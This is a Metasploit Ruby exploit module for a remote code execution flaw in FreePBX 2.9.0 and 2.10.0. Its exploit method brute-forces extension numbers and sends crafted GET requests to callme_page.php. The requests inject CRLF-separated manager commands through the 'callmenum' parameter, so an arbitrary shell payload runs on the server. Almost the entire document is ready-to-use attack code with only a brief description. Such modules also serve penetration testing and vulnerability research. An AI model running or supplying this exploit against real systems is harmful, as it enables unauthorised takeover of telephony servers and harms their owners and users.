FreePBX 2.9.0/2.10.0 – ‘callmenum’ Remote Code Execution (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ManualRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'FreePBX 2.10.0 / 2.9.0 callmenum Remote Code Execution', 'Description' => %q{ This module exploits FreePBX version 2.10.0,2.9.0 and possibly older. Due to the way callme_page.php handles the 'callmenum' parameter, it is possible to inject code to the '$channel' variable in function callme_startcall in order to gain remote code execution. Please note in order to use this module properly, you must know the extension number, which can be enumerated or bruteforced, or you may try some of the default extensions such as 0 or 200. Also, the call has to be answered (or go to voice). Tested on both Elastix and FreePBX ISO image installs. }, 'Author' => [ 'muts','Martin Tschirsich' ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.exploit-db.com/exploits/18649/' ] ], 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Privileged' => false, 'Payload' => { 'Space' => 1024, 'DisableNops' => true, }, 'Targets' => [ [ 'Automatic Target', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Mar 20 2012')) register_options( [ OptString.new("EXTENSION", [ true, "A range of Local extension numbers", "0-100" ]), ], self.class) end def exploit # Check range input if datastore['EXTENSION'] =~ /^(\d+)\-(\d+)$/ min = $1.to_i max = $2.to_i else print_error("Please specify a range for option 'EXTENSION'") return end cmd = Rex::Text.uri_encode(payload.encoded) (min..max).each do |e| connect print_status("#{rhost}:#{rport} - Sending evil request with range #{e.to_s}") res = send_request_raw({ 'method' => 'GET', 'uri' => "/recordings/misc/callme_page.php?action=c&callmenum="+e.to_s+"@from-internal/n%0D%0AApplication:%20system%0D%0AData:%20#{cmd}%0D%0A%0D%0A", 'version' => '1.0', 'vhost' => rhost }) handler disconnect end end end |